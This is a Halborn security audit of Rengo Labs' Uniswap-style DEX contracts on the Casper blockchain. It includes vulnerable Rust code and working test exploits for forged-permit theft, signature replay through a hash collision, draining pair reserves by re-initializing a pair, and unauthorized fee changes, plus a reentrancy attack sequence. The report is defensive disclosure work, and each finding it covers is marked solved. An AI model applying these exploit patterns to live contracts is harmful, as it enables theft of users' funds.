Rengo Labs Uniswap Core-Router

Casper Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **November 11th, 2022 - December 1st, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	09/21/2022	Alpcan Onaran
0.2	Document Edits	10/25/2022	Alpcan Onaran
0.3	Document Edits	10/30/2022	Alpcan Onaran
0.4	Draft Review	12/01/2022	Timur Guvenkaya
0.5	Draft Review	12/01/2022	Piotr Cielas
0.6	Draft Review	12/01/2022	Gabi Urrutia
1.0	Remediation Plan	01/05/2023	Alpcan Onaran
1.1	Remediation Plan	01/12/2023	Alpcan Onaran
1.2	Remediation Plan	01/13/2023	Alpcan Onaran
1.3	Remediation Plan Review	01/13/2023	Piotr Cielas
1.4	Remediation Plan Review	01/13/2023	Gabi Urrutia
1.5	Remediation Plan Updates	01/13/2023	Alpcan Onaran
1.6	Remediation Plan Updates Review	02/09/2023	Piotr Cielas
1.7	Remediation Plan Updates Review	02/09/2023	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Piotr Cielas	Halborn	Piotr.Cielas@halborn.com
Alpcan Onaran	Halborn	Alpcan.Onaran@halborn.com
Alexis Fabre	Halborn	Alexis.Fabre@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Rengo Labs Uniswap is a decentralized exchange protocol that operates on the Casper blockchain network. It is designed to enable users to buy and sell a variety of cryptocurrency tokens in a secure and decentralized manner. The platform is coded in Rust and utilizes the casper-contract library to facilitate trades through the use of smart contracts.

One of the key features of Uniswap is its implementation of automated market makers, which are smart contracts that provide liquidity to the platform. These market makers allow users to buy and sell tokens without the need for a matching counterparty, enabling efficient trading even for illiquid assets.

As a noncustodial platform, Uniswap allows users to retain complete control over their assets at all times, eliminating the need for a trusted third party to handle their funds. This makes it an attractive alternative to centralized exchanges, which often impose high fees and require users to undergo lengthy verification processes.

In summary, Uniswap is a reliable and user-friendly decentralized exchange protocol that offers a secure and convenient way for users to buy and sell cryptocurrency tokens on the Casper blockchain network. Its use of smart contracts and automated market makers enables efficient and seamless trading.

Rengo Labs engaged Halborn to conduct a security audit on their automated market maker smart contracts beginning on November 11th, 2022 and ending on December 1st, 2022 . The security assessment was scoped to the smart contracts provided to the Halborn team. The security assessment was scoped to the smart contracts provided in the CasperLabs-UniswapV2-Core and CasperLabs-UniswapV2-Router GitHub repositories.

1.2 AUDIT SUMMARY

The team at Halborn was provided four weeks for the engagement and assigned two full-time security engineers to audit the security of the smart contracts. The security engineers are blockchain and smart-contract security experts with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit to achieve the following:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some improvements to reduce the likelihood and impact of multiple risks, which has been {successfully, mostly, partially} addressed by Rengo Labs . The main ones are the following

(HAL-01) UNLIMITED ALLOWANCE APPROVALS USING FORGED PERMITS
It was observed that the permit function, in the erc20 and pair contracts, does not check if the caller's public_key equals to the owner public_key, which makes it vulnerable to self-signed messages. This vulnerability allows an attacker to self sign a message to spend funds from any account, including pairs of liquidity allowances. As a result, an adversary could steal the liquidity token from every user of the protocol and withdraw the funds from the pairs.

Rengo Labs *successfully* remediated this issue by removing the permit function.

(HAL-02) SIGNATURE REPLAY USING HASH COLLISION IN PERMIT FUNCTION
It was observed that in the erc20 and pair contracts, the permit function creates **data String** without any delimiters between parameters, which makes it vulnerable to hash collision attacks. Using this vulnerability, an attacker can use the same signature more than once with different values to steal tokens from the owner.

Rengo Labs *successfully* remediated this issue by removing the permit function.

(HAL-03) MISSING ACCESS CONTROL AND VULNERABLE LOGICAL DESIGN ALLOWS FOR STEALING TOKENS

It was observed that a pair of tokens does not belong to a unique pair contract, and inside the pair contract, the initialize function is used to set the contract pair of tokens. Since liquidity tokens are the same in each token pair, an attacker can create 2 dummy erc20 contracts then use the initialize function and set pair contracts tokens and mint an infinite amount of liquidity tokens.

Rengo Labs ***successfully*** remediated this issue by implementing access control measures to the initialize function.

(HAL-04) MISSING ACCESS CONTROL LEADS TO UNAUTHORIZED SETTING TREASURY FEE

It was observed that the set_treasury_fee_percent inside the pair contract does not have any access control; therefore anyone can change the treasury fee.

Rengo Labs ***successfully*** remediated this issue by implementing access control measures to the set_treasury_fee_percent function.

(HAL-05) MISSING ACCESS CONTROL IN SWAP FOR FLASH LOANS

It was observed that the swap function inside the pair contract does not implement any access control for flash loan/swap actions; therefore, any user can impersonate the flashswapper contract.

Rengo Labs ***successfully*** remediated this issue by removing the flash-loan functionality from the pair contract.

(HAL-06) USERS CAN ADD MALICIOUS PAIRS TO FACTORY

It was observed that when the add_liquidity function inside the uniswap -router contract is called with some pair_received parameter, it calls the create_pair function inside the factory contract, and as a result factory contract adds this pair contract hash to the list. This process also enables adversaries to add customized malicious pair contracts to the factory contract, which may be programmed to steal users tokens or similar.

Rengo Labs ***successfully*** remediated this issue by implementing an access control measure which only give permission to white listed accounts.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of the manual view of the code and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the smart contract audit. While manual testing is recommended to uncover flaws in logic, process, and implementation, automated testing techniques help enhance the coverage of smart contracts. They can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture, purpose, and use of the platform.
- Manual code read and walk through.
- Manual Assessment of use and safety for the critical Rust variables and functions in scope to identify any arithmetic related vulnerability classes.
- Race condition tests.
- Cross contract call controls.
- Architecture related logical controls.
- Fuzz testing. (cargo fuzz)
- Checking the unsafe code usage. (cargo-geiger)
- Scanning of Rust files for vulnerabilities.(cargo audit)
- Deployment to devnet through casper-client and nctl

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

The review was scoped to the audit branch in CasperLabs-UniswapV2-Core and CasperLabs-UniswapV2-Router repositories.

- Main Contracts and Libraries
  - CasperLabs-UniswapV2-Core
  - CasperLabs-UniswapV2-Router

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
6	0	1	3	0

LIKELIHOOD

IMPACT

				(HAL-01) (HAL-02) (HAL-03) (HAL-04) (HAL-05) (HAL-06)
		(HAL-07)		
	(HAL-08) (HAL-09)			
		(HAL-10)		

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 - UNLIMITED ALLOWANCE APPROVALS USING FORGED PERMITS	Critical	SOLVED - 11/21/2022
HAL-02 - SIGNATURE REPLAY USING HASH COLLISION IN PERMIT FUNCTION	Critical	SOLVED - 11/21/2022
HAL-03 - MISSING ACCESS CONTROL AND VULNERABLE LOGICAL DESIGN ALLOWS FOR STEALING TOKENS	Critical	SOLVED - 12/14/2022
HAL-04 - MISSING ACCESS CONTROL LEADS TO UNAUTHORIZED SETTING TREASURY FEE	Critical	SOLVED - 12/14/2022
HAL-05 - MISSING ACCESS CONTROL IN SWAP FOR FLASH LOANS	Critical	SOLVED - 12/02/2022
HAL-06 - USERS CAN ADD MALICIOUS PAIRS TO FACTORY	Critical	SOLVED - 12/02/2022
HAL-07 - MISSING REMOVE PAIR FUNCTIONALITY	Medium	SOLVED - 12/14/2022
HAL-08 - PAIR SWAP FUNCTION IS RE ENTRANT	Low	SOLVED - 12/14/2022
HAL-09 - MISSING PAUSE FUNCTIONALITY	Low	SOLVED - 12/14/2022
HAL-10 - PAIR TOKEN BALANCES MAY MANIPULATE EACH OTHER WHEN A TOKEN CONTRACT USED FOR MANY PAIRS	Low	RISK ACCEPTED

FINDINGS & TECH DETAILS

3.1 (HAL-01) UNLIMITED ALLOWANCE APPROVALS USING FORGED PERMITS - CRITICAL

Description:

It was observed that the permit function, inside the erc20 and pair contracts, does not check if the caller's public_key equals to the owner public_key, which makes it vulnerable to self-signed messages.

This vulnerability allows an attacker to self sign a message to spend funds from any account, including pairs of liquidity allowances.

As a result, an adversary could steal the liquidity token from every user of the protocol and withdraw the funds from the pairs.

Code Location:

Down below is the code snippet from the permit function:

Listing 1: /pair/pair/src/pair.rs (Lines 797,799)

```
795 fn permit(
796         &mut self,
797         public_key: String,
798         signature: String,
799         owner: Key,
800         spender: Key,
801         value: U256,
802         deadline: u64,
803     ) {
804         let domain_separator: String = data::get_domain_separator
    ↳ ();
805         let permit_type_hash: String = data::get_permit_type_hash
    ↳ ();
806         let nonce: U256 = self.nonce(Key::from(self.get_caller()))
    ↳ ;
807         let deadline_into_blocktime: BlockTime = BlockTime::new(
808             deadline
```

```
                .checked_mul(1000)
                .ok_or(Error::
↳ UniswapV2CorePairMultiplicationOverFlow8)
                .unwrap_or_revert(),
        );
        let blocktime: BlockTime = runtime::get_blocktime();
        if deadline_into_blocktime >= blocktime {
            let data: String = format!(
                "{}{}{}{}{}{}",
                permit_type_hash, owner, spender, value, nonce,
↳ deadline
            );

            let hash: [u8; 32] = keccak256(data.as_bytes());
            let hash_string: String = hex::encode(hash);
            let encode_packed: String = format!("{}{}",
↳ domain_separator, hash_string);
            let digest: [u8; 32] = hash_message(encode_packed);
            let digest_string: String = hex::encode(digest);
            let digest_key: String = format!("{}{}", "digest_",
↳ owner);
            set_key(&digest_key, digest_string);
            self.set_nonce(Key::from(self.get_caller()));
            let result: bool =
                self.ecrecover(public_key, signature, digest, Key
↳ ::from(self.get_caller()));
            if result == true {
                Allowances::instance().set(&owner, &spender, value
↳ );
                self.emit(&PAIREvent::Approval {
                    owner: owner,
                    spender: spender,
                    value: value,
                });
            } else {
                //signature verification failed
                runtime::revert(Error::
↳ UniswapV2CorePairFailedVerification);
            }
        } else {
            //deadline is equal to or greater than blocktime
            runtime::revert(Error::UniswapV2CorePairExpire);
        }
    }
```

Risk Level:

Likelihood - 5
Impact - 5

Proof Of Concept:

Listing 2

```rust
#[test]
fn test_invalid_permit() {
    // Deploy the contract
    let (env, token, victim_owner, _, _) = deploy_with_keys();
    let attacker_spender = env.next_user_with_keys();
    let contract_hash = match token.contract_hash() {
        Key::Hash(hash) => ContractHash::new(hash),
        _ => panic!("Contract hash not found"),
    };

    // Config
    let amount = U256::from(100u128);
    let deadline = U256::from(10000000000000000000u128);
    let (domain_separator, permit_type_hash) =
        get_permit_type_and_domain_separator(NAME, contract_hash);

    // Create the digest of the permit: `victim_owner` gives `attacker_spender` the right to spend `amount` tokens
    let nonce = token.nonce(attacker_spender.account_hash); // Here we use the nonce of the attacker_spender
    let (digest, _digest_string) = make_digest(
        &domain_separator,
        &permit_type_hash,
        &Key::from(victim_owner.account_hash).to_string(),
        &Key::from(attacker_spender.account_hash).to_string(),
        amount,
        nonce,
        deadline,
    );

    // Some manipulation to make the public_key understandable by ecrecover
    let attacker_public_key_bytes = attacker_spender.keypair.public.to_bytes();
```

```
    let attacker_public_key_string = format_for_ecrecover(&attacker_public_key_bytes);

    // SELF SIGN WITH THE ATTACKER KEYPAIR (ILLEGIT)
    let signature_by_attacker_bytes = attacker_spender.keypair.sign(&digest).to_bytes();
    let signature_by_attacker_string = format_for_ecrecover(&signature_by_attacker_bytes);

    // Call permit with malicious payload
    // The attacker wants to give allowance to himself to spend `amount` tokens from `victim_owner` (ILLEGIT)
    token.permit(
        attacker_spender.account_hash,
        attacker_public_key_string,
        signature_by_attacker_string,
        Key::from(victim_owner.account_hash),
        Key::from(attacker_spender.account_hash),
        amount,
        deadline.as_u64(),
    );

    // Now `attacker_spender` should have the right to spend `amount` tokens from `victim_owner` (ILLEGIT)
    assert_eq!(
        token.allowance(
            Key::from(victim_owner.account_hash),
            Key::from(attacker_spender.account_hash)
        ),
        amount,
        "Allowance should be set",
    );

    // Now `attacker_spender` should have the right to spend `amount` tokens from `victim_owner` (ILLEGIT)
    token.transfer_from(
        attacker_spender.account_hash,
        Key::from(victim_owner.account_hash),
        Key::from(attacker_spender.account_hash),
        amount,
    );

    // Now `attacker_spender` should have `amount` tokens (ILLEGIT)
```

```
    assert_eq!(
        token.balance_of(Key::from(attacker_spender.account_hash))
↳ ,
        amount,
        "Balance should be set",
    );
}
```

Recommendation:

It is recommended to implement security controls to ensure `owner: Key` and `owner_pubkey: Public Key` belong to the same account.

Reference:
Uniswap permit implementation

Remediation Plan:

SOLVED: The issue was solved in the commit 24dd7 by removing the `permit` function.

3.2 (HAL-02) SIGNATURE REPLAY USING HASH COLLISION IN PERMIT FUNCTION - CRITICAL

Description:

It was observed that inside the erc20 and pair contracts, the permit function creates **data String** without any delimiters between parameters, which makes it vulnerable to hash collision attacks.

Using this vulnerability, an attacker can use the same signature more than once with different values to steal tokens from the owner.

To explain this vulnerability with an example;
data is created as the following: permit_type_hash, owner, spender, value, nonce, deadline.

if respectively these parameters are;
test X Y 10100 0 1100 then the string becomes testXY101000100 and then it becomes a hash.

However, the same string can be obtained using the following parameters, even with an updated nonce value.

test X Y 101000 1 100 => testXY101000100

Therefore, an attacker can first use the first allowance, and then can manipulate the **value** and **deadline** parameters to be compatible with **nonce** in order to obtain the same data string. An attacker can use the same hash unlimited times with different amounts.

Code Location:

Down below is the code snippet from the permit function:

Listing 3: /pair/pair/src/pair.rs (Lines 815-820)

```
795 fn permit(
796         &mut self,
797         public_key: String,
798         signature: String,
799         owner: Key,
800         spender: Key,
801         value: U256,
802         deadline: u64,
803     ) {
804         let domain_separator: String = data::get_domain_separator
    ↳ ();
805         let permit_type_hash: String = data::get_permit_type_hash
    ↳ ();
806         let nonce: U256 = self.nonce(Key::from(self.get_caller()))
    ↳ ;
807         let deadline_into_blocktime: BlockTime = BlockTime::new(
808             deadline
809                 .checked_mul(1000)
810                 .ok_or(Error::
    ↳ UniswapV2CorePairMultiplicationOverFlow8)
811                 .unwrap_or_revert(),
812         );
813         let blocktime: BlockTime = runtime::get_blocktime();
814         if deadline_into_blocktime >= blocktime {
815             let data: String = format!(
816                 "{}{}{}{}{}{}",
817                 permit_type_hash, owner, spender, value, nonce,
    ↳ deadline
818             );
819 
820             let hash: [u8; 32] = keccak256(data.as_bytes());
821             let hash_string: String = hex::encode(hash);
822             let encode_packed: String = format!("{}{}",
    ↳ domain_separator, hash_string);
823             let digest: [u8; 32] = hash_message(encode_packed);
824             let digest_string: String = hex::encode(digest);
825             let digest_key: String = format!("{}{}", "digest_",
    ↳ owner);
826             set_key(&digest_key, digest_string);
```

```
            self.set_nonce(Key::from(self.get_caller()));
            let result: bool =
                self.ecrecover(public_key, signature, digest, Key::from(self.get_caller()));
            if result == true {
                Allowances::instance().set(&owner, &spender, value);
                self.emit(&PAIREvent::Approval {
                    owner: owner,
                    spender: spender,
                    value: value,
                });
            } else {
                //signature verification failed
                runtime::revert(Error::UniswapV2CorePairFailedVerification);
            }
        } else {
            //deadline is equal to or greater than blocktime
            runtime::revert(Error::UniswapV2CorePairExpire);
        }
    }
```

Risk Level:

Likelihood - 5
Impact - 5

Proof Of Concept:

Listing 4

```
#[test]
fn test_pair_permit_hash_collision() {
    // Deploy the contract
    let (env, _proxy, _proxy2, token, owner, _factory_hash) = deploy_with_keys();
    let spender = env.next_user_with_keys();
    let contract_hash = match token.self_contract_hash() {
        Key::Hash(hash) => ContractHash::new(hash),
        _ => panic!("Contract hash not found"),
```

```
    };

    let amount = U256::from(900001u128);
    let deadline:u64 = 1100000000000;

    let (domain_separator, permit_type_hash) =
        get_permit_type_and_domain_separator(NAME, contract_hash);

    let nonce = token.nonce(owner.account_hash);
    println!("{:?}", nonce);

    let (digest, _digest_string) = make_digest(
        &domain_separator,
        &permit_type_hash,
        &Key::from(owner.account_hash).to_string(),
        &Key::from(spender.account_hash).to_string(),
        amount,
        nonce,
        deadline,
    );

    // Some manipulation to make the public_key understandable by ecrecover
    let public_key_bytes = owner.keypair.public.to_bytes();
    let public_key_string = format_for_ecrecover(&public_key_bytes);

    // Some manipulation to make the signature understandable by ecrecover, SIGN THE DIGEST WITH THE OWNER'S PRIVATE KEY
    let signature_bytes = owner.keypair.sign(&digest).to_bytes();
    let signature_string = format_for_ecrecover(&signature_bytes);

    // Call the permit function from the `owner` account
    // He wants to give allowance to `spender` to spend `amount` tokens
    println!("Permit call with amount:{:?}, deadline: {:?}, signature: {:?}", amount, deadline, signature_string.clone());
    token.permit(
        owner.account_hash,
        public_key_string.clone(),
        signature_string.clone(),
        Key::from(owner.account_hash),
        Key::from(spender.account_hash),
        amount,
```

```
        deadline,
    );
    // Now `spender` should have the right to spend `amount` tokens
    println!("Spenders(attacker) first allowance: {:?}",token.allowance(Key::from(owner.account_hash),Key::from(spender.account_hash)));
    println!();

    let nonce = token.nonce(owner.account_hash);
    println!("Updated nonce: {:?}", nonce);
    println!();

    let amount = U256::from(9000010u128);
    let deadline = 1000000000000;
    println!("Spender adjust the amount and deadline variables in a way to make signature hash same.");
    println!("Spender recalls the permit call same signature but edited parameters amount:{:?}, deadline: {:?}, signature: {:?}", amount, deadline, signature_string.clone());
    token.permit(
        owner.account_hash,
        public_key_string.clone(),
        signature_string.clone(),
        Key::from(owner.account_hash),
        Key::from(spender.account_hash),
        amount,
        deadline,
    );
    println!("Updated spender allowance after hash collision (amount is x10): {:?}",token.allowance(Key::from(owner.account_hash),Key::from(spender.account_hash)));
}
```

Recommendation:

It is recommended to add delimiters between parameters while creating the data strings, such as

```
let data: String = format!("{}:::{}:::{}:::{}:::{}:::{}",permit_type_hash
, owner, spender, value, nonce, deadline);
```

Remediation Plan:

SOLVED: The issue was solved in the commit 24dd7 by removing the permit function.

3.3 (HAL-03) MISSING ACCESS CONTROL AND VULNERABLE LOGICAL DESIGN ALLOWS FOR STEALING TOKENS - CRITICAL

Description:

It was observed that a pair of tokens does not belong to a unique pair contract, and inside the pair contract, the initialize function is used to set the contract pair of tokens.
However, liquidity tokens are the same in each token pair; therefore an attacker can create 2 dummy erc20 contracts then use the initialize function and set pair contracts tokens and mint an infinite amount of liquidity tokens.

Afterward, the attacker can again set the pair contracts tokens to normal tokens, and steal tokens from the pair.

Code Location:

Down below is the code snippet from the initialize function:

Listing 5: /pair/pair/src/pair.rs

```
    fn initialize(&mut self, token0: Key, token1: Key,
  ↳ factory_hash: Key) {
        let factory_hash_getter: Key = self.get_factory_hash();
        if factory_hash == factory_hash_getter {
            data::set_token0(token0);
            data::set_token1(token1);
        } else {
            //(UniswapV2: FORBIDDEN)
            runtime::revert(Error::UniswapV2CorePairForbidden);
        }
    }
```

Risk Level:

Likelihood - 5
Impact - 5

Proof Of Concept:

Listing 6

```
//This test case exploits the missing access control and also logical flaw in pair.initialize() function.
#[test]
fn poc_malicious_token_pair_mint_steal_liquidity() {
    let (env, proxy, _proxy2, token, owner, factory_hash) = deploy1();

    //deploy tokens
    let token0 = deploy_token0(&env); //normal token
    let token0_contract_hash = Key::Hash(token0.contract_hash());
    let token0_package_hash = Key::Hash(token0.package_hash());

    let token1 = deploy_token1(&env); //normal token
    let token1_contract_hash = Key::Hash(token1.contract_hash());
    let token1_package_hash = Key::Hash(token1.package_hash());

    let attacker = env.next_user();

    let factory_hash = Key::Hash(factory_hash.package_hash());

    let amount0: U256 = 30000.into();
    let amount1: U256 = 2500000.into();
    println!();
    println!("{}","-Roles-");
    println!("{}{}", "User account: ", owner.to_formatted_string());
    println!("{}{}", "Attacker account: ", owner.to_formatted_string());

    println!();
    println!("{}", "User initialize pair (token0-token1)"); // owner initialize pair (token0-token1)
    token.initialize(
        owner,
```

```
        token0_package_hash,
        token1_package_hash,
        factory_hash,
    );

    println!("{}{:?}{}", "User mints ", amount0, " token0-token1 to pair (Mint is used at this point but logic is same with transfer)");
    proxy.mint_with_caller(
        owner,
        token0_contract_hash,
        Key::from(token.self_package_hash()),
        amount0,
    );
    proxy.mint_with_caller(
        owner,
        token1_contract_hash,
        Key::from(token.self_package_hash()),
        amount0,
    );

    println!();
    println!("{}", "User calls pair-mint() to add liquidity");
    token.mint_no_ret(owner, owner); //normal user(owner) adds liquidity
    println!("{}{:?}", "User's pair balance(liquidity tokens): ", token.balance_of(owner));
    println!("{}{:?}", "Pair total supply: ", token.balance_of(token.self_package_hash()));
    println!("{}", "Attacker's pair balance(liquidity tokens): 0");
    println!();
    println!("{}", "--Exploitation begins at this point--");
    println!();
    println!("{}", "1. First attacker deploys 2 dummy ERC20 tokens which has no value token2 and token3");
    let decimals: u8 = 18;
    let init_total_supply: U256 = 0.into();

    let token2 = TestContract::new(
        &env,
        "erc20-token.wasm",
        "token2_contract",
        attacker,
```

```
        runtime_args! {
            "initial_supply" => init_total_supply,
            "name" => "token2",
            "symbol" => "tk2",
            "decimals" => decimals
        },
    );
    let token2_contract_hash = Key::Hash(token2.contract_hash());
    let token2_package_hash = Key::Hash(token2.package_hash());

    let token3 = TestContract::new(
        &env,
        "erc20-token.wasm",
        "token3_contract",
        attacker,
        runtime_args! {
            "initial_supply" => init_total_supply,
            "name" => "token3",
            "symbol" => "tk3",
            "decimals" => decimals
        },
    );
    let token3_contract_hash = Key::Hash(token3.contract_hash());
    let token3_package_hash = Key::Hash(token3.package_hash());

    println!();
    println!("{}", "2. Attacker calls pair.initialize() and sets pair tokens as (token2-token3)");
    token.initialize(
        attacker,
        token2_package_hash,
        token3_package_hash,
        factory_hash,
    );

    println!();
    println!("{}{:?}{}", "3. Attacker mints ", amount1, " token2-token3 (malicious tokens) to pair");
    proxy.mint_with_caller(
        owner,
        token2_contract_hash,
        Key::from(token.self_package_hash()),
        amount1,
    );
```

```rust
    proxy.mint_with_caller(
        owner,
        token3_contract_hash,
        Key::from(token.self_package_hash()),
        amount1,
    );

    println!();
    println!("{}", "4. Attacker calls pair-mint() to add liquidity ");
    token.mint_no_ret(attacker, attacker); //attacker adds liquidity
    println!("{}{:?}", "Attacker's pair balance(liquidity tokens): ", token.balance_of(attacker));
    println!("{}{:?}", "Pair total supply: ", token.balance_of(token.self_package_hash()));

    println!();
    println!("{}", "5. Attacker calls pair.initialize() to set pair tokens at token0-token1 again");
    token.initialize(
        attacker,
        token0_package_hash,
        token1_package_hash,
        factory_hash,
    );

    println!();
    println!("{}", "---Balance of pair and attacker before exploitation (token0-token1)---");
    let balance_token0_attacker: U256 = token0
    .query_dictionary("balances", key_to_str(&Key::from(attacker)))
    .unwrap_or_default();
    let balance_token1_attacker: U256 = token1
    .query_dictionary("balances", key_to_str(&Key::from(attacker)))
    .unwrap_or_default();
    let balance_token0_pair: U256 = token0
    .query_dictionary("balances", key_to_str(&Key::from(token.self_package_hash())))
    .unwrap_or_default();
    let balance_token1_pair: U256 = token1
```

```
    .query_dictionary("balances", key_to_str(&Key::from(token.self_package_hash())))
    .unwrap_or_default();

    println!("{}{}","Attacker token0 balance (0): " , balance_token0_attacker);
    println!("{}{}","Attacker token1 balance (0): " , balance_token1_attacker);
    println!("{}{}","Pair token0 balance: " , balance_token0_pair);
    println!("{}{}","Pair token1 balance: " , balance_token1_pair);

    println!();
    println!("{}", "6. Attacker transfers all pair tokens to pair contract and then call burn to get token0-token1");
    token.transfer(attacker, Key::from(token.self_package_hash()), token.balance_of(attacker));
    token.burn_no_ret(attacker, attacker);

    println!();
    println!("{}", "---Balance of pair and attacker before exploitation (token0-token1)---");
    let balance_token0_attacker: U256 = token0
    .query_dictionary("balances", key_to_str(&Key::from(attacker)))
    .unwrap_or_default();
    let balance_token1_attacker: U256 = token1
    .query_dictionary("balances", key_to_str(&Key::from(attacker)))
    .unwrap_or_default();
    let balance_token0_pair: U256 = token0
    .query_dictionary("balances", key_to_str(&Key::from(token.self_package_hash())))
    .unwrap_or_default();
    let balance_token1_pair: U256 = token1
    .query_dictionary("balances", key_to_str(&Key::from(token.self_package_hash())))
    .unwrap_or_default();

    println!("{}{}","Attacker token0 balance: " , balance_token0_attacker);
    println!("{}{}","Attacker token1 balance: " , balance_token1_attacker);
```

```
    println!("{}{}","Pair token0 balance: " , balance_token0_pair);
    println!("{}{}","Pair token1 balance: " , balance_token1_pair);

    println!("{}","Attacker steals token0-token1 from pair reserves by creating dummy tokens");
}
```

Recommendation:

It is recommended to add access control checks in order to restrict access to initialize function.

Remediation Plan:

SOLVED: The issue was solved in the commit 425c9 by implementing access control measures in the initialize function.

3.4 (HAL-04) MISSING ACCESS CONTROL LEADS TO UNAUTHORIZED SETTING TREASURY FEE - CRITICAL

Description:

It was observed that the set_treasury_fee_percent inside the pair contract does not have any access control; therefore anyone can change the treasury fee.

Attackers can use this vulnerability to lower the treasury fee while trading, or they can manipulate the treasury fee in order to harm other user transactions.

Code Location:

Down below is the code snippet from the set_treasury_fee_percent function:

Listing 7: /pair/pair/src/pair.rs

```
fn set_treasury_fee_percent(&mut self, treasury_fee: U256) {
    if treasury_fee < 30.into() && treasury_fee > 3.into() {
        data::set_treasury_fee(treasury_fee);
    } else if treasury_fee >= 30.into() {
        data::set_treasury_fee(30.into());
    } else {
        data::set_treasury_fee(3.into());
    }
}
```

Risk Level:

Likelihood - 5
Impact - 5

Proof Of Concept:

Listing 8

```
#[test]
fn poc_unauthorized_set_treasury_fee_percent() {
    let (_env, _proxy, _proxy2, token, owner, _factory_hash) = deploy();

    //owner sets normal treasury fee as 20
    let treasury_fee: U256 = 20.into();
    token.set_treasury_fee_percent(owner, treasury_fee);
    assert_eq!(token.treasury_fee(), treasury_fee);

    let attacker = _env.next_user();
    let new_treasury_fee:U256 = 3.into();

    //attacker sets unauthorizedly sets treasury fee as 3
    token.set_treasury_fee_percent(attacker, treasury_fee);
    assert_eq!(token.treasury_fee(), 3.into());
}
```

Recommendation:

It is recommended to add access control checks in order to restrict access to set_treasury_fee_percent function.

Remediation Plan:

SOLVED: The issue was solved in the commit b43db by implementing access control measures in the set_treasury_fee_percent function.

3.5 (HAL-05) MISSING ACCESS CONTROL IN SWAP FOR FLASH LOANS - CRITICAL

Description:

It was observed that the swap function inside the pair contract does not implement any access control for flash loan/swap actions; therefore, any user can impersonate the flashswapper contract.

There are two possible problems related to this misconfiguration.

First, users can use flash loan/swaps without paying fees.

Second, when the swap function used for flash loan/swap actions in the pair contract normally calls the flashswapper contract's uniswap_v2_call function to start the process, however when other users call the swap function, they can make the pair contract to call their own contracts and can control the application flow, and they can execute reentrancy attacks to steal tokens.

To explain the second case vulnerability with an example;

Consider a pair with liquidity: 1000 TokenA 1000 TokenB.

1. **Attacker calls swap() with malicious contract with custom data to get 1000 TokenA get 1000 TokenB (Execution flow is transferred to malicious contract.)**
2. **Malicious contract calls Pair call sync() (currently pair has: 0 TokenA 1000 TokenB)**
3. **Attacker transfers 500 TokenA 500 TokenB to pair**
4. **malicious contract calls mint()**

Code Location:

Down below is the code snippet from the swap function:

Listing 9: /pair/pair/src/pair.rs

```
    fn swap(&mut self, amount0_out: U256, amount1_out: U256, to: Key, data: String) {
        let pair_address: Key = Key::from(data::get_package_hash());
        let zero: U256 = 0.into();
        if amount0_out > zero || amount1_out > zero {
            let (reserve0, reserve1, _block_timestamp_last) = self.get_reserves(); // gas savings
            if amount0_out < U256::from(reserve0.as_u128())
                && amount1_out < U256::from(reserve1.as_u128())
            {
                let token0: Key = self.get_token0();
                let token1: Key = self.get_token1();
                if to != token0 && to != token1 {
                    if amount0_out > zero {
                        //convert Key to ContractPackageHash
                        // let token0_hash_add_array = match token0 {
                        //     Key::Hash(package) => package,
                        //     _ => runtime::revert(ApiError::UnexpectedKeyVariant),
                        // };
                        // let token0_package_hash = ContractPackageHash::new(token0_hash_add_array);
                        let ret: Result<(), u32> = runtime::call_versioned_contract(
                            // token0_package_hash,
                            token0.into_hash().unwrap_or_revert().into(),
                            None,
                            "transfer",
                            runtime_args! {
                                "recipient" => to,
                                "amount" => amount0_out
                            }, // optimistically transfer tokens
    ...(snipped)
                        if data.len() > 0 {
                        let uniswap_v2_callee_address: Key = to;
                        //convert Key to ContractPackageHash
                        let uniswap_v2_callee_address_hash_add_array =
                            match uniswap_v2_callee_address {
                                Key::Hash(package) => package,
```

```
                            _ => runtime::revert(ApiError::UnexpectedKeyVariant),
                        };
                    let uniswap_v2_callee_package_hash =
                        ContractPackageHash::new(uniswap_v2_callee_address_hash_add_array);

                    let _result: () = runtime::call_versioned_contract(
                        uniswap_v2_callee_package_hash,
                        None,
                        "uniswap_v2_call",
                        runtime_args! {"sender" => data::get_callee_package_hash(),"amount0" => amount0_out,"amount1" => amount1_out,"data" => data},

```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to add access control checks to make sure other actors cannot use the swap function with setting a data parameter, expect the flashswapper contract.

Remediation Plan:

